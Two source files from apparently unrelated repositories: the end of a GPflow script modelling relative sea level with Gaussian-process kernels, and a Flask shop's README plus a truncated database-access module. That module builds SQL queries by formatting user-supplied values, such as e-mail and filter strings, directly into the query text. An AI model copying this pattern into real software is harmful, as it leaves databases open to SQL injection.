Gaussian\n likelihood. Multiple columns of Y are treated independently.\n The log likelihood of this models is sometimes referred to as the 'marginal log likelihood',\n and is given by\n .. math::\n \\log p(\\mathbf y \\,|\\, \\mathbf f) =\n \\mathcal N\\left(\\mathbf y\\,|\\, 0, \\mathbf K + \\sigma_n \\mathbf I\\right)\n \"\"\"\n def __init__(self,\n data: Data,\n kernel: Kernel,\n mean_function: Optional[MeanFunction] = None,\n likelihood=likelihood):\n likelihood = gpf.likelihoods.Gaussian(variance=likelihood)\n _, y_data = data\n super().__init__(kernel,\n likelihood,\n mean_function,\n num_latent=y_data.shape[-1])\n self.data = data\n\n def log_likelihood(self):\n \"\"\"\n Computes the log likelihood.\n \"\"\"\n x, y = self.data\n K = self.kernel(x)\n num_data = x.shape[0]\n k_diag = tf.linalg.diag_part(K)\n s_diag = tf.convert_to_tensor(self.likelihood.variance)\n jitter = tf.cast(tf.fill([num_data], default_jitter()),\n 'float64') # stabilize K matrix w/jitter\n ks = tf.linalg.set_diag(K, k_diag + s_diag + jitter)\n L = tf.linalg.cholesky(ks)\n m = self.mean_function(x)\n\n # [R,] log-likelihoods for each independent dimension of Y\n log_prob = multivariate_normal(y, m, L)\n return tf.reduce_sum(log_prob)\n\n def predict_f(self,\n predict_at: tf.Tensor,\n full_cov: bool = False,\n full_output_cov: bool = False):\n r\"\"\"\n This method computes predictions at X \\in R^{N \\x D} input points\n .. math::\n p(F* | Y)\n where F* are points on the GP at new data points, Y are noisy observations at training data points.\n \"\"\"\n x_data, y_data = self.data\n err = y_data - self.mean_function(x_data)\n\n kmm = self.kernel(x_data)\n knn = self.kernel(predict_at, full=full_cov)\n kmn = self.kernel(x_data, predict_at)\n\n num_data = x_data.shape[0]\n s = tf.linalg.diag(tf.convert_to_tensor(\n self.likelihood.variance)) #changed from normal GPR\n\n conditional = gpf.conditionals.base_conditional\n f_mean_zero, f_var = conditional(\n kmn, kmm + s, knn, err, full_cov=full_cov,\n white=False) # [N, P], [N, P] or [P, N, N]\n f_mean = f_mean_zero + self.mean_function(predict_at)\n return f_mean, f_var\n\n\n def normalize(df):\n return np.array((df - df.mean()) / df.std()).reshape(len(df), 1)\n\n\n def denormalize(y_pred, df):\n return np.array((y_pred * df.std()) + df.mean())\n\n\n def bounded_parameter(low, high, param):\n \"\"\"Make parameter tfp Parameter with optimization bounds.\"\"\"\n affine = tfb.AffineScalar(shift=tf.cast(low, tf.float64),\n scale=tf.cast(high - low, tf.float64))\n sigmoid = tfb.Sigmoid()\n logistic = tfb.Chain([affine, sigmoid])\n parameter = gpf.Parameter(param, transform=logistic, dtype=tf.float64)\n return parameter\n\n\n class HaversineKernel_Matern52(gpf.kernels.Matern52):\n \"\"\"\n Isotropic Matern52 Kernel with Haversine distance instead of euclidean distance.\n Assumes n dimensional data, with columns [latitude, longitude] in degrees.\n \"\"\"\n def __init__(\n self,\n lengthscale=1.0,\n variance=1.0,\n active_dims=None,\n ):\n super().__init__(\n active_dims=active_dims,\n variance=variance,\n lengthscale=lengthscale,\n )\n\n def haversine_dist(self, X, X2):\n pi = np.pi / 180\n f = tf.expand_dims(X * pi, -2) # ... x N x 1 x D\n f2 = tf.expand_dims(X2 * pi, -3) # ... x 1 x M x D\n d = tf.sin((f - f2) / 2)**2\n lat1, lat2 = tf.expand_dims(X[:, 0] * pi, -1), \\\n tf.expand_dims(X2[:, 0] * pi, -2)\n cos_prod = tf.cos(lat2) * tf.cos(lat1)\n a = d[:, :, 0] + cos_prod * d[:, :, 1]\n c = tf.asin(tf.sqrt(a)) * 6371 * 2\n return c\n\n def scaled_squared_euclid_dist(self, X, X2):\n \"\"\"\n Returns (dist(X, X2ᵀ)/lengthscales)².\n \"\"\"\n if X2 is None:\n X2 = X\n dist = da.square(self.haversine_dist(X, X2) / self.lengthscale)\n# dist = tf.convert_to_tensor(dist)\n return dist\n\n\n class HaversineKernel_Matern32(gpf.kernels.Matern32):\n \"\"\"\n Isotropic Matern52 Kernel with Haversine distance instead of euclidean distance.\n Assumes n dimensional data, with columns [latitude, longitude] in degrees.\n \"\"\"\n def __init__(\n self,\n lengthscale=1.0,\n variance=1.0,\n active_dims=None,\n ):\n super().__init__(\n active_dims=active_dims,\n variance=variance,\n lengthscale=lengthscale,\n )\n\n def haversine_dist(self, X, X2):\n pi = np.pi / 180\n f = tf.expand_dims(X * pi, -2) # ... x N x 1 x D\n f2 = tf.expand_dims(X2 * pi, -3) # ... x 1 x M x D\n d = tf.sin((f - f2) / 2)**2\n lat1, lat2 = tf.expand_dims(X[:, 0] * pi, -1), \\\n tf.expand_dims(X2[:, 0] * pi, -2)\n cos_prod = tf.cos(lat2) * tf.cos(lat1)\n a = d[:, :, 0] + cos_prod * d[:, :, 1]\n c = tf.asin(tf.sqrt(a)) * 6371 * 2\n return c\n\n def scaled_squared_euclid_dist(self, X, X2):\n \"\"\"\n Returns (dist(X, X2ᵀ)/lengthscales)².\n \"\"\"\n if X2 is None:\n X2 = X\n dist = tf.square(self.haversine_dist(X, X2) / self.lengthscale)\n# dist = tf.convert_to_tensor(dist) # return to tensorflow\n return dist\n\n\n ########### Section to Run GPR######################\n ##################################3#################\n\n # Input space, rsl normalized to zero mean, unit variance\n X = np.stack((df_place['lon'], df_place['lat'], df_place['age']), 1)\n RSL = normalize(df_place.rsl_realresid)\n\n #define kernels with bounds\n\n# k1 = HaversineKernel_Matern32(active_dims=[0, 1])\n# k1.lengthscale = bounded_parameter(5000, 30000, 10000) #hemispheric space\n# k1.variance = bounded_parameter(0.1, 100, 2)\n\n k1 = gpf.kernels.Matern32(active_dims=[0, 1])\n k1.lengthscale = bounded_parameter(10, 300, 50) #hemispheric space\n k1.variance = bounded_parameter(0.1, 100, 2)\n\n# k2 = HaversineKernel_Matern32(active_dims=[0, 1])\n# k2.lengthscale = bounded_parameter(10, 5000, 100) #GIA space\n# k2.variance = bounded_parameter(0.1, 100, 2)\n \n k2 = gpf.kernels.Matern32(active_dims=[0,1])\n k2.lengthscale = bounded_parameter(1, 10, 4) #GIA space\n k2.variance = bounded_parameter(0.1, 100, 2)\n\n k3 = gpf.kernels.Matern32(active_dims=[2]) #GIA time\n k3.lengthscale = bounded_parameter(8000, 20000, 10000)\n k3.variance = bounded_parameter(0.1, 100, 1)\n\n k4 = gpf.kernels.Matern32(active_dims=[2]) #shorter time\n k4.lengthscale = bounded_parameter(1, 8000, 1000)\n k4.variance = bounded_parameter(0.1, 100, 1)\n\n k5 = gpf.kernels.White(active_dims=[2])\n k5.variance = bounded_parameter(0.1, 100, 1)\n\n kernel = (k1 * k3) + (k2 * k4) + k5\n\n #build & train model\n m = GPR_diag((X, RSL), kernel=kernel, likelihood=likelihood)\n print('model built, time=', time.time() - start)\n\n\n @tf.function(autograph=False)\n def objective():\n return -m.log_marginal_likelihood()\n\n\n o = gpf.optimizers.Scipy()\n o.minimize(objective, variables=m.trainable_variables)\n print('model minimized, time=', time.time() - start)\n\n # output space\n nout = 50\n lat = np.linspace(min(ds_area.lat), max(ds_area.lat), nout)\n lon = np.linspace(min(ds_area.lon), max(ds_area.lon), nout)\n ages = ages_lgm[(ages_lgm < tmax) & (ages_lgm > tmin)]\n xyt = np.array(list(product(lon, lat, ages)))\n\n #query model & renormalize data\n y_pred, var = m.predict_f(xyt)\n y_pred_out = denormalize(y_pred, df_place.rsl_realresid)\n\n #reshape output vectors\n Xlon = np.array(xyt[:, 0]).reshape((nout, nout, len(ages)))\n Xlat = np.array(xyt[:, 1]).reshape((nout, nout, len(ages)))\n Zp = np.array(y_pred_out).reshape(nout, nout, len(ages))\n varp = np.array(var).reshape(nout, nout, len(ages))\n\n #print kernel details\n print_summary(m, fmt='notebook')\n print('time elapsed = ', time.time() - start)\n\n print('negative log marginal likelihood =',\n m.neg_log_marginal_likelihood().numpy())\n\n ##################\t INTERPOLATE MODELS \t#######################\n ################## --------------------\t ######################\n\n # turn GPR output into xarray dataarray\n da_zp = xr.DataArray(Zp, coords=[lon, lat, ages],\n dims=['lon', 'lat',\n 'age']).transpose('age', 'lat', 'lon')\n da_varp = xr.DataArray(varp,\n coords=[lon, lat, ages],\n dims=['lon', 'lat',\n 'age']).transpose('age', 'lat', 'lon')\n\n\n def interp_likegpr(ds):\n return ds.rsl.load().transpose().interp_like(da_zp)\n\n\n #interpolate all models onto GPR grid\n da_trueinterp = interp_likegpr(ds_true)\n ds_trueinterp = ds_true.interp(age=ages)\n da_priorinterp = interp_likegpr(ds_prior)\n ds_priorinterp = ds_prior.interp(age=ages)\n da_priorinterpstd = interp_likegpr(ds_priorstd)\n da_giapriorinterp = interp_likegpr(ds_area)\n ds_giapriorinterp = ds_area.interp(age=ages)\n da_giapriorinterpstd = interp_likegpr(ds_areastd)\n da_readvpriorinterp = interp_likegpr(ds_readvprior)\n da_readvpriorinterpstd = interp_likegpr(ds_readvprior_std)\n\n # add total prior RSL back into GPR\n da_priorplusgpr = da_zp + da_giapriorinterp\n\n ##################\t \t SAVE NETCDFS \t \t#######################\n ################## --------------------\t ######################\n\n path = 'output/'\n da_zp.to_netcdf(path + ice_model + lith_thickness + '_' + place + '_da_zp')\n da_giapriorinterp.to_netcdf(path + ice_model + lith_thickness + '_' + place +\n '_giaprior')\n da_priorplusgpr.to_netcdf(path + ice_model + lith_thickness + '_' + place +\n '_posterior')\n da_varp.to_netcdf(path + ice_model + lith_thickness + '_' + place +\n '_gp_variance')\n\n ##################\t\t PLOT MODELS \t\t#######################\n ################## --------------------\t ######################\n\n dirName = f'figs/{place}/'\n if not os.path.exists(dirName):\n os.mkdir(dirName)\n print(\"Directory \", dirName, \" Created \")\n else:\n print(\"Directory \", dirName, \" already exists\")\n\n for i, age in enumerate(ages):\n if (age / 500).is_integer():\n step = (ages[0] - ages[1])\n df_it = df_place[(df_place.age < age) & (df_place.age > age - step)]\n resid_it = da_zp.sel(age=slice(age, age - step))\n rsl, var = df_it.rsl, df_it.rsl_er_max.values**2\n lat_it, lon_it = df_it.lat, df_it.lon\n vmin = ds_giapriorinterp.rsl.min().values # + 10\n vmax = ds_giapriorinterp.rsl.max().values # - 40\n vmin_std = 0\n vmax_std = 1\n tmin_it = np.round(age - step, 2)\n tmax_it = np.round(age, 2)\n cbarscale = 0.3\n fontsize = 20\n cmap = 'coolwarm'\n cbar_kwargs = {'shrink': cbarscale, 'label': 'RSL (m)'}\n\n proj = ccrs.PlateCarree()\n projection = ccrs.PlateCarree()\n fig, (ax1, ax2, ax3,\n ax4) = plt.subplots(1,\n 4,\n figsize=(24, 16),\n subplot_kw=dict(projection=projection))\n\n # total prior mean + \"true\" data\n ax1.coastlines(color='k')\n pc1 = ds_giapriorinterp.rsl[i].transpose().plot(ax=ax1,\n transform=proj,\n cmap=cmap,\n norm=MidpointNormalize(\n vmin, vmax, 0),\n add_colorbar=False,\n extend='both')\n cbar = fig.colorbar(pc1,\n ax=ax1,\n shrink=.3,\n label='RSL (m)',\n extend='both')\n scat = ax1.scatter(lon_it,\n lat_it,\n s=80,\n c=rsl,\n edgecolor='k',\n vmin=vmin,\n vmax=vmax,\n norm=MidpointNormalize(vmin, vmax, 0),\n cmap=cmap)\n ax1.set_title(f'{np.round(ds_trueinterp.rsl[i].age.values, -1)} yrs',\n fontsize=fontsize)\n # ax1.set_extent(extent_)\n\n # Learned difference between prior and \"true\" data\n ax2.coastlines(color='k')\n pc = da_zp[i, :, :].plot(ax=ax2,\n transform=proj,\n cmap=cmap,\n extend='both',\n norm=MidpointNormalize(\n resid_it.min(), resid_it.max(), 0),\n add_colorbar=False)\n cbar = fig.colorbar(pc,\n ax=ax2,\n shrink=.3,\n label='RSL (m)',\n extend='both')\n scat = ax2.scatter(lon_it,\n lat_it,\n s=80,\n facecolors='k',\n cmap=cmap,\n edgecolor='k',\n transform=proj,\n norm=MidpointNormalize(resid_it.min(),\n resid_it.max(), 0))\n ax2.set_title(f'{np.round(tmax_it,2)} yrs', fontsize=fontsize)\n # ax2.set_extent(extent_)\n\n # GP regression\n ax3.coastlines(color='k')\n pc = da_priorplusgpr[i].plot(ax=ax3,\n transform=proj,\n norm=MidpointNormalize(vmin, vmax, 0),\n cmap=cmap,\n extend='both',\n add_colorbar=False)\n scat = ax3.scatter(lon_it,\n lat_it,\n s=80,\n c=rsl,\n edgecolor='k',\n cmap=cmap,\n norm=MidpointNormalize(vmin, vmax, 0))\n cbar = fig.colorbar(pc,\n ax=ax3,\n shrink=.3,\n label='RSL (m)',\n extend='both')\n ax3.set_title(f'{np.round(tmax_it,2)} yrs', fontsize=fontsize)\n # ax3.set_extent(extent_)\n\n #GP regression standard deviation\n ax4.coastlines(color='k')\n pc = (2 * np.sqrt(da_varp[i])).plot(\n ax=ax4,\n transform=proj,\n vmin=vmin_std,\n vmax=vmax_std * 2,\n cmap='Reds',\n extend='both',\n add_colorbar=False,\n )\n scat = ax4.scatter(lon_it,\n lat_it,\n s=80,\n c=2 * np.sqrt(var),\n vmin=vmin_std,\n vmax=vmax_std * 2,\n cmap='Reds',\n edgecolor='k',\n transform=proj)\n cbar = fig.colorbar(pc,\n ax=ax4,\n shrink=.3,\n extend='both',\n label='RSL (m) (2 $\\sigma$)')\n ax4.set_title(f'{np.round(tmax_it,2)} yrs', fontsize=fontsize)\n # ax4.set_extent(extent_)\n\n ########## ----- Save figures -------- #######################\n fig.savefig(dirName + f'{ages[i]}_{place}_realdata_fig_3D', transparent=True)\n\n ##################\tCHOOSE LOCS W/NUF SAMPS #######################\n ################## --------------------\t ######################\n\n\n def locs_with_enoughsamples(df_place, place, number):\n \"\"\"make new dataframe, labeled, of sites with [> number] measurements\"\"\"\n df_lots = df_place.groupby(['lat',\n 'lon']).filter(lambda x: len(x) > number)\n\n df_locs = []\n for i, group in enumerate(df_lots.groupby(['lat', 'lon'])):\n singleloc = group[1].copy()\n singleloc['location'] = place\n singleloc['locnum'] = place + '_site' + str(\n i) # + singleloc.reset_index().index.astype('str')\n df_locs.append(singleloc)\n df_locs = pd.concat(df_locs)\n\n return df_locs\n\n\n number = 8\n df_nufsamps = locs_with_enoughsamples(df_place, place, number)\n len(df_nufsamps.locnum.unique())\n\n ##################\tPLOT LOCS W/NUF SAMPS #######################\n ################## --------------------\t ######################\n\n\n def slice_dataarray(da):\n return da.sel(lat=site[1].lat.unique(),\n lon=site[1].lon.unique(),\n method='nearest')\n\n\n fig, ax = plt.subplots(1, len(df_nufsamps.locnum.unique()), figsize=(18, 4))\n ax = ax.ravel()\n colors = ['darkgreen', 'darkblue', 'darkred']\n fontsize = 18\n\n for i, site in enumerate(df_nufsamps.groupby('locnum')):\n\n #slice data for each site\n prior_it = slice_dataarray(da_priorinterp)\n priorvar_it = slice_dataarray(da_priorinterpstd)\n top_prior = prior_it + priorvar_it * 2\n bottom_prior = prior_it - priorvar_it * 2\n\n var_it = slice_dataarray(np.sqrt(da_varp))\n post_it = slice_dataarray(da_priorplusgpr)\n top = post_it + var_it * 2\n bottom = post_it - var_it * 2\n\n site_err = 2 * (site[1].rsl_er_max)\n\n ax[i].scatter(site[1].age, site[1].rsl, c=colors[0], label='\"true\" RSL')\n ax[i].errorbar(\n site[1].age,\n site[1].rsl,\n site_err,\n c=colors[0],\n fmt='none',\n capsize=1,\n lw=1,\n )\n\n prior_it.plot(ax=ax[i], c=colors[2], label='Prior $\\pm 2 \\sigma$')\n ax[i].fill_between(prior_it.age,\n bottom_prior.squeeze(),\n top_prior.squeeze(),\n color=colors[2],\n alpha=0.3)\n\n post_it.plot(ax=ax[i], c=colors[1], label='Posterior $\\pm 2 \\sigma$')\n ax[i].fill_between(post_it.age,\n bottom.squeeze(),\n top.squeeze(),\n color=colors[1],\n alpha=0.3)\n # ax[i].set_title(f'{site[0]} RSL', fontsize=fontsize)\n ax[i].set_title('')\n\n ax[i].legend(loc='lower left')\n\n path = 'figs/{place}'\n fig.savefig(dirName + f'{ages[0]}to{ages[-1]}_{place}_realdata_fig_1D',\n transparent=True)\n\n #plot locations of data\n fig, ax = plt.subplots(1,\n len(df_nufsamps.locnum.unique()),\n figsize=(18, 4),\n subplot_kw=dict(projection=projection))\n ax = ax.ravel()\n\n da_zeros = xr.zeros_like(da_zp)\n\n for i, site in enumerate(df_nufsamps.groupby('locnum')):\n ax[i].coastlines(color='k')\n ax[i].plot(site[1].lon.unique(),\n site[1].lat.unique(),\n c=colors[0],\n ms=7,\n marker='o',\n transform=proj)\n ax[i].plot(site[1].lon.unique(),\n site[1].lat.unique(),\n c=colors[0],\n ms=25,\n marker='o',\n transform=proj,\n mfc=\"None\",\n mec='red',\n mew=4)\n da_zeros[0].plot(ax=ax[i], cmap='Greys', add_colorbar=False)\n ax[i].set_title(site[0], fontsize=fontsize)\n # plt.tight_layout()\n fig.savefig(dirName + f'{ages[0]}to{ages[-1]}_{place}_realdata_fig_1Dlocs',\n transparent=True)\n\n ################# DECOMPOSE GPR INTO KERNELS ####################\n ################## --------------------\t ######################\n\n\n def predict_decomp_f(m,\n custom_kernel,\n predict_at: tf.Tensor,\n full_cov: bool = False,\n full_output_cov: bool = False,\n var=None):\n \"\"\"Decompose GP into individual kernels.\"\"\"\n\n x_data, y_data = m.data\n err = y_data - m.mean_function(x_data)\n kmm = m.kernel(x_data)\n knn = custom_kernel(predict_at, full=full_cov)\n kmn = custom_kernel(x_data, predict_at)\n num_data = x_data.shape[0]\n s = tf.linalg.diag(tf.convert_to_tensor(var)) # added diagonal variance\n conditional = gpf.conditionals.base_conditional\n f_mean_zero, f_var = conditional(\n kmn, kmm + s, knn, err, full_cov=full_cov,\n white=False) # [N, P], [N, P] or [P, N, N]\n f_mean = np.array(f_mean_zero + m.mean_function(predict_at))\n f_var = np.array(f_var)\n return f_mean, f_var\n\n\n def reshape_decomp(k, var=None):\n A, var = predict_decomp_f(m, k, xyt, var=var)\n A = A.reshape(nout, nout, len(ages))\n var = var.reshape(nout, nout, len(ages))\n return A, var\n\n\n def make_dataarray(da):\n coords = [lon, lat, ages]\n dims = ['lon', 'lat', 'age']\n return xr.DataArray(da, coords=coords,\n dims=dims).transpose('age', 'lat', 'lon')\n\n\n A1, var1 = reshape_decomp(k1,\n var=df_place.rsl_er_max.ravel()**2 +\n df_place.rsl_giaprior_std.ravel()**2) #gia spatial\n A2, var2 = reshape_decomp(k2,\n var=df_place.rsl_er_max.ravel()**2 +\n df_place.rsl_giaprior_std.ravel()**2) #gia temporal\n A3, var3 = reshape_decomp(\n k3,\n var=df_place.rsl_er_max.ravel()**2 +\n df_place.rsl_giaprior_std.ravel()**2) #readvance spatial\n A4, var4 = reshape_decomp(\n k4,\n var=df_place.rsl_er_max.ravel()**2 +\n df_place.rsl_giaprior_std.ravel()**2) #readvance temporal\n A5, var5 = reshape_decomp(\n k5,\n var=df_place.rsl_er_max.ravel()**2 +\n df_place.rsl_giaprior_std.ravel()**2) #readvance spatial\n\n da_A1 = make_dataarray(A1)\n da_var1 = make_dataarray(var1)\n\n da_A2 = make_dataarray(A2)\n da_var2 = make_dataarray(var2)\n\n da_A3 = make_dataarray(A3)\n da_var3 = make_dataarray(var3)\n\n da_A4 = make_dataarray(A4)\n da_var4 = make_dataarray(var4)\n\n da_A5 = make_dataarray(A5)\n da_var5 = make_dataarray(var5)\n\n ################# PLOT DECOMPOSED KERNELS ####################\n ################## --------------------\t ####################\n\n fig, ax = plt.subplots(1, 6, figsize=(24, 4))\n ax = ax.ravel()\n da_A1[0, :, :].plot(ax=ax[0], cmap='RdBu_r')\n\n da_A2[0, :, :].plot(ax=ax[1], cmap='RdBu_r')\n\n da_A3[0, :, :].plot(ax=ax[2], cmap='RdBu_r')\n\n da_A4[:, 0, 0].plot(ax=ax[3])\n\n da_A5[:, 0, 0].plot(ax=ax[4])\n\n # da_A6[:,0,0].plot(ax=ax[5])\n\n # plt.tight_layout()\n\n fig.savefig(dirName + f'{ages[0]}to{ages[-1]}_{place}_decompkernels',\n transparent=True)\n\nif __name__ == '__main__':\n readv()\n" } ]
7
NataliaLerner/StudyAppShop
https://github.com/NataliaLerner/StudyAppShop
a50772b516d5c5116c94e01df1fde4a263314fd9
3464774f292ce68a075e935800b7c95d162f982b
da019f66487dca26e2bf61606d391af79283a9d5
refs/heads/develop
2020-04-26T10:13:56.127850
2019-04-27T14:23:59
2019-04-27T14:23:59
173,480,571
5
1
null
2019-03-02T17:55:04
2019-04-27T14:24:29
2019-04-27T19:18:45
HTML
[ { "alpha_fraction": 0.4111434817314148, "alphanum_fraction": 0.4111434817314148, "avg_line_length": 37.676055908203125, "blob_id": "89b85fb28cf77339d1f459f00f230fe25dcb420e", "content_id": "d57a1b908ffc3bb5251864a06f429513ddb4b76e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3124, "license_type": "no_license", "max_line_length": 92, "num_lines": 71, "path": "/README.md", "repo_name": "NataliaLerner/StudyAppShop", "src_encoding": "UTF-8", "text": "# StudyAppShop\n\n## Структура репозитория\n```\n\n.\n+-- core ( модуль с базовыми классами python )\n| +-- __init__.py\n| +-- base_type.py\n| +-- config.py\n| +-- db_api.py\n| +-- google_auth.py\n| +-- log.py\n+-- settings\n| +-- db_settings.ini\n| +-- logging.config\n+-- templates\n| +-- base.html\n| +-- index.html\n| +-- shop.html\n+-- start.py\n+-- .gitignore\n```\n## Описание содержания файлов проекта\nНазвание файла | Содержание файла\n------------------------------------------------|----------------------\n[./core/config.py](#config_py) | Классы для работы с конфиг файлами\n[./core/base_type.py](#base_type_py) | Класс с пользовательскими типами\n[./core/db_api.py](#db_api_py) | Класс, реализующий методы для доступа к БД\n[./core/google_auth.py](#google_auth_py) | Классы для авторизации через гугл\n[./core/log.py](#log_py) | Класс с настройками логера\n[./settings/db_settings.ini](#db_settings_ini) | Настройки БД\n[./settings/logging.config](#logging_config) | Файл конфигурации для логера\n[./templates/base.html](#base_html) | Шаблон с структурой и меню сайта\n[./templates/index.html](#index_html) | Шаблон главной страницы\n[./templates/shop.html](#shop_html) | Шаблон страницы с товарами\n[./start.py](#start_py) | Входной файл для фреймворка FLASK\n\n\n<a name=\"config_py\"></a> ./core/config.py\n-----------------------------------------------------------------------\n\n<a name=\"base_type_py\"></a> ./core/base_type.py\n-----------------------------------------------------------------------\n\n<a name=\"db_api_py\"></a> ./core/db_api.py\n-----------------------------------------------------------------------\n\n<a name=\"google_auth_py\"></a> ./core/google_auth.py\n-----------------------------------------------------------------------\n\n<a name=\"log_py\"></a> ./core/log.py\n-----------------------------------------------------------------------\n\n<a name=\"db_settings_ini\"></a> ./settings/db_settings.ini\n-----------------------------------------------------------------------\n\n<a name=\"logging_config\"></a> ./settings/logging.config\n-----------------------------------------------------------------------\n\n<a name=\"base_html\"></a> ./templates/base.html\n-----------------------------------------------------------------------\n\n<a name=\"index_html\"></a> ./templates/index.html\n-----------------------------------------------------------------------\n\n<a name=\"shop_html\"></a> ./templates/shop.html\n-----------------------------------------------------------------------\n\n<a name=\"start_py\"></a> ./start.py\n-----------------------------------------------------------------------\n" }, { "alpha_fraction": 0.6597692966461182, "alphanum_fraction": 0.6689261794090271, "avg_line_length": 26.480392456054688, "blob_id": "2919a404208dad51e320af0c7052bb9ebcd53497", "content_id": "e5f8cb432c15c707e439e3cc3c58e650e7e179cd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8956, "license_type": "no_license", "max_line_length": 135, "num_lines": 306, "path": "/core/db_api.py", "repo_name": "NataliaLerner/StudyAppShop", "src_encoding": "UTF-8", "text": "import pymysql\nimport logging\nimport traceback\nimport uuid\nfrom datetime import datetime\nfrom flask import session\n\nfrom .config import DbSettings\nfrom . import log\nfrom .base_type import AccessLevel, User, Category, ImageType, ImageGoods, Language, Manufacture, Goods\n\nlogger = logging.getLogger(__name__)\n\nclass DbApi:\n\t_conn = None\n\t_cur = None\n\t_db_settings = None\n\n\tdef __init__(self):\n\t\tself._db_settings = DbSettings()\n\t\tself.connection()\n\n\tdef connection(self):\n\t\t\"\"\"\n\t\tПодключение к БД, получение курсора\n\t\t\"\"\"\n\t\ttry:\n\t\t\tlogger.info(\"Пробуем подключитсься к базе данных {0}, по адресу {1} (порт {2})\".format(\n\t\t\t\tself._db_settings.db_name, self._db_settings.host_name, self._db_settings.port))\n\t\t\tself._conn = pymysql.connect(host=self._db_settings.host_name, port=self._db_settings.port,\n\t\t\t\tuser=self._db_settings.user_name, passwd=self._db_settings.password, \n\t\t\t\tdb=self._db_settings.db_name)\n\t\t\tlogger.info(\"Успешно подключились к БД!\")\n\t\texcept pymysql.Error as err:\n\t\t\tlogger.error(\"Не удалось подключиться к БД, error: {}\".format(err))\n\t\tif self._conn:\n\t\t\ttry:\n\t\t\t\tlogger.info(\"Пробуем получить курсор\")\n\t\t\t\tself._cur = self._conn.cursor()\n\t\t\t\tlogger.info(\"Успешно получили курсор!\")\n\t\t\texcept pymysql.Error as err:\n\t\t\t\tlogger.error(\"Не удалось получить курсор, error: {}\".format(err))\n\n\tdef try_except(function):\n\t\tdef wrapper(*args, **kwargs):\n\t\t\tres = None\n\t\t\ttry:\n\t\t\t\targs[0]._cur = args[0]._conn.cursor()\n\t\t\t\tres = function(*args, **kwargs)\n\t\t\texcept pymysql.Error as err:\n\t\t\t\tlogger.error(err)\n\t\t\texcept Exception as e:\n\t\t\t\tlogger.error(traceback.format_exc())\n\t\t\treturn res\n\t\treturn wrapper\n\n\tdef commit(function):\n\t\tdef wrapper(*args, **kwargs):\n\t\t\tres = function(*args, **kwargs)\n\t\t\targs[0]._conn.commit()\n\t\t\targs[0]._cur = args[0]._conn.cursor()\n\t\t\treturn res\n\t\treturn wrapper\n\n\tdef valid_admin(function):\n\t\tdef wrapper(*args, **kwargs):\n\t\t\tif 'token_user' in session.keys():\n\t\t\t\tif args[0].is_valid_token(session['token_user']):\n\t\t\t\t\tres = function(*args, **kwargs)\n\t\t\t\t\treturn res\n\t\t\t\telse:\n\t\t\t\t\traise Exception(\"Токен, переданный с запросом не валидный!!!\")\n\t\t\t\t\treturn None\n\t\t\telse:\n\t\t\t\traise Exception(\"Токен, переданный с запросом не валидный!!!\")\n\t\t\t\treturn None\n\t\treturn wrapper\n\n\t@try_except\n\tdef get_user(self, user_name, e_mail):\n\t\t\"\"\"\n\t\tПолучение данных о пользователе из БД, если нет пользователя в БД, создает запись в БД\n\t\t\"\"\"\n\t\tquery = \"\"\"SELECT * FROM Users WHERE e_mail = \"{0}\" \"\"\".format(e_mail)\n\t\tlogger.info(query)\n\t\tself._cur.execute(query)\n\t\tres = self._cur.fetchall()\n\t\tif len(res) > 0:\n\t\t\treturn User(res[0][0], res[0][1], res[0][2], res[0][3], res[0][4])\n\t\telse:\n\t\t\tid_ = self.set_user(user_name, e_mail)\n\t\t\treturn User(id_, user_name, e_mail, None, AccessLevel.USER)\n\n\t@try_except\n\t@valid_admin\n\tdef get_users(self):\n\t\t\"\"\"\n\t\tto do: добавить фильтры\n\t\t\"\"\"\n\t\tquery = \"select * from Users\"\n\t\tself._cur.execute(query)\n\t\tusers = self._cur.fetchall()\n\t\tres = User.ToListUsersNT(users)\n\t\treturn res\n\n\n\t@try_except\n\t@valid_admin\n\t@commit\n\tdef delete_user(self, user_id):\n\t\tquery = \"delete from Users where id = '{0}'\".format(user_id)\n\t\tlogger.info(query)\n\t\tself._cur.execute(query)\n\n\t@try_except\n\t@valid_admin\n\t@commit\n\tdef update_user(self, user_id, access_level):\n\t\tpname = 'sp_users_03'\n\t\targs = (user_id, access_level)\n\t\tstatus = self._cur.callproc(pname,args)\n\n\n\t@try_except\n\t@commit\n\tdef set_user(self, user_name, e_mail, access_level = AccessLevel.USER):\n\t\t\"\"\"\n\t\tДобавление нового пользователя в БД\n\t\t\"\"\"\n\t\tquery = \"\"\"INSERT INTO Users(user_name, e_mail, access_level) VALUES (\"{0}\", \"{1}\", \"{2}\")\"\"\".format(user_name, e_mail, access_level)\n\t\tlogger.info(query)\n\t\tself._cur.execute(query)\n\t\treturn self._conn.insert_id()\n\n\t@try_except\n\t@valid_admin\n\tdef get_categories(self, name_filter):\n\t\t\"\"\"\n\t\tселект категорий с фильтром по имени\n\t\t\"\"\"\n\t\tname_filter = \"%\" + name_filter + \"%\"\n\t\tquery = \"SELECT * FROM Categories where name like '{0}'\".format(name_filter)\n\t\tlogger.info(query)\n\t\tself._cur.execute(query)\n\t\tcategories = self._cur.fetchall()\n\t\tres = Category.ToListCategoryNT(categories)\n\t\treturn res\n\n\t@try_except\n\t@valid_admin\n\tdef get_goods(self):\n\t\t\"\"\"\n\t\t\"\"\"\n\t\tquery = \"\"\"SELECT Products.product_id, Products.name, Products.short_name,\\\n\t\t Products.description, Products.price, Products.is_available, Products.quantity,\\\n\t\t Products.publish_year, Languages.language_id, Languages.name, Languages.short_name,\\\n\t\t Manufactures.manufacturer_id, Manufactures.name, Manufactures.short_name, Categories.category_id,\\\n\t\t Categories.name, Categories.short_name FROM Products LEFT JOIN Languages ON \\\n\t\t Products.language_id = Languages.language_id LEFT JOIN Manufactures ON\\\n\t\t Products.manufacturer_id = Manufactures.manufacturer_id LEFT JOIN Categories ON\\\n\t\t Products.category_id = Categories.category_id\"\"\"\n\t\tlogger.info(query)\n\t\tself._cur.execute(query)\n\t\tgoods = self._cur.fetchall()\n\t\tres = []\n\t\tfor g in goods:\n\t\t\tlanguage = Language(g[8], g[9], g[10])\n\t\t\tmanufacture = Manufacture(g[11], g[12], g[13])\n\t\t\tcategory = Category(g[14], g[15], g[16])\n\t\t\ttemp = Goods(g[0], g[1], g[2], g[3], g[4], g[5], g[6], g[7], language, manufacture, category, self.get_images_for_id_goods(g[0]))\n\t\t\tres.append(temp)\n\t\treturn res\n\n\t@try_except\n\t@valid_admin\n\tdef get_images_for_id_goods(self, 